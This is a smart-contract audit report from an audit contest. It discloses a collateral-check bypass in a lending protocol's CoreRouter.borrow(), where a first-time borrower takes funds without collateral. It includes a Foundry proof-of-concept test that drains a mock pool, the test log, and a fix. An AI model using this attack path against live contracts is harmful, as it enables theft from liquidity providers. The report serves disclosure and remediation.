Short Golden Seagull

High

# First-borrow collateral check bypass in CoreRouter.borrow() allows attacker to steal funds

### Summary

The zero-index fallback in [CoreRouter.borrow()](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L157-L159) will cause an unsecured draw for liquidity providers as an attacker will bypass the collateral check by performing a first borrow when their stored `borrowIndex` is zero - treating the `require(collateralUsd >= borrowAmount)` check as `0 ≥ 0` - and withdraw funds without locking collateral. 

Once their `borrowIndex` becomes non-zero, further borrows revert correctly, but by then the pool’s liquidity is already gone.

### Root Cause

In [CoreRouter.sol:157-161](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L157-L161), when `user.borrowIndex == 0` the code skips calculating the USD value of the new borrow and simply sets `borrowAmount = 0` for the collateral check, instead of comparing the actual borrowed USD amount.


```solidity
uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex) 
            : 0; //@audit this allows first-time borrowers to pass the collateral>=borrowAmount check even if they don't have collateral

        require(collateral >= borrowAmount, "Insufficient collateral"); 
```

### Internal Pre-conditions

- A user has deposited collateral into the CoreRouter pool, so that its `collateralUsd` balance is > 0.
- Attacker’s address has never borrowed before (`borrowIndex == 0`) - first-time borrower.

### External Pre-conditions

None.

### Attack Path

1. User A supplies collateral (e.g. 100 000 DAI) to the CoreRouter pool.
2. Attacker sees the funded pool and from a fresh address calls `borrow(75_000 DAI)`.
3. Inside `borrow()`, since `borrowIndex == 0`, the code sets `borrowAmount = 0`.
4. The check `require(collateralUsd >= borrowAmount)` becomes `require(0 >= 0)`, which passes.
5. The attacker receives 75 000 DAI without providing any collateral.

### Impact

An attacker can open a fresh address and call `borrow()` once to pull out available liquidity of any supported token - without ever locking up any collateral - draining the pool and stealing user funds. The attack could be performed for any liquid token.

This single-transaction exploit can empty a market before any on-chain safety checks fire, causing catastrophic losses and undermining trust in the protocol.

### PoC

1. Add `import "forge-std/console.sol";` in import section of the `TestBorrowing.t.sol` file

2. Add the following code into the `TestBorrowing.t.sol` file:

```solidity
function test_poc_first_time_borrow_with_insufficient_collateral() public {
        address alice = makeAddr("alice");
        address bob = makeAddr("bob");
        address token = supportedTokens[0]; // DAI mock
        uint256 collateralAmount = 100_000e18; // Alice supplies 100_000 DAI
        uint256 borrowAmount = 75_000e18; // The DAI amount that Bob will try to borrow
        address lToken = lendStorage.underlyingTolToken(token);

        // 0) Mint collateralAmount DAI to Alice
        deal(token, alice, collateralAmount);

        // 1) Alice approves and supplies DAI to CoreRouter
        vm.startPrank(alice);
        IERC20(token).approve(address(coreRouter), collateralAmount);
        coreRouter.supply(collateralAmount, token);
        vm.stopPrank();

        // sanity‐check: CoreRouter now holds lTokens on Alice's behalf
        uint256 totalSupplied = lendStorage.getTotalSupplied(alice, lToken);
        assertGt(totalSupplied, 0, "No collateral recorded");

        console.log("------------- STEP 1: ALLICE SUPPLIES DAI ------------");
        console.log("------------------------------------------------------\n");

        console.log("Alice supplies 100 000 DAI.");
        console.log("Alice's DAI totalSupplied: ", totalSupplied);

        console.log("\n");
        console.log("Alice's DAI balance: ", IERC20(token).balanceOf(alice)); // Should be 0 as she supplied all DAI to the protocol
        console.log("\n");

        // 2) Now Bob attempts to borrow 75_000 DAI
        console.log("-------------- STEP 2: BOB BORROWS DAI ---------------");
        console.log("------------------------------------------------------\n");
        console.log("Bob's DAI balance: ", IERC20(token).balanceOf(bob)); // Should be 0 as Bob hasn't interacted yet
        console.log("Bob attempts to borrow 75 000 DAI.\n");
        vm.startPrank(bob);
        coreRouter.borrow(borrowAmount, token); // Bob borrows 75_000 DAI without any collateral

        // Balances update after Bob's borrow attempt
        uint256 bobBalance = IERC20(token).balanceOf(bob); // Bob should receive 75_000 DAI

        assertEq(bobBalance, borrowAmount, "Bob borrowed 75 000 DAI");
        console.log("Bob's DAI balance: ", bobBalance);
        console.log("\n");
        console.log(
            "RESULT: Bob borrowed 75 000 DAI without supplying any collateral."
        );
        console.log("\n");

        vm.stopPrank();
    }
```

3. Run the test with the following command:
```shell
forge test --mt test_poc_first_time_borrow_with_insufficient_collateral -vv
```

4. Result log:

```shell
Ran 1 test for test/TestBorrowing.t.sol:TestBorrowing
[PASS] test_poc_first_time_borrow_with_insufficient_collateral() (gas: 880788)
Logs:
  ------------- STEP 1: ALLICE SUPPLIES DAI ------------
  ------------------------------------------------------

  Alice supplies 100 000 DAI.
  Alice's DAI totalSupplied:  100000000000000000000000
  

  Alice's DAI balance:  0
  

  -------------- STEP 2: BOB BORROWS DAI ---------------
  ------------------------------------------------------

  Bob's DAI balance:  0
  Bob attempts to borrow 75 000 DAI.

  Bob's DAI balance:  75000000000000000000000
  

  RESULT: Bob borrowed 75 000 DAI without supplying any collateral.
  


Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.37ms (1.99ms CPU time)
```

### Mitigation

One viable solution would be to use the `borrowed` from `getHypotheticalAccountLiquidityCollateral` instead of 0, if there has been no borrows for a user yet. 

This way, on any attempts for borrows before supplying, the tx will revert with `Insufficient collateral`.

```diff
uint256 borrowAmount = currentBorrow.borrowIndex != 0
            ? ((borrowed * LTokenInterface(_lToken).borrowIndex()) / currentBorrow.borrowIndex) 
-            : 0; //@audit this allows first-time borrowers to pass the collateral>=borrowAmount check even if they don't have collateral
+            : borrowed;
        require(collateral >= borrowAmount, "Insufficient collateral"); 
```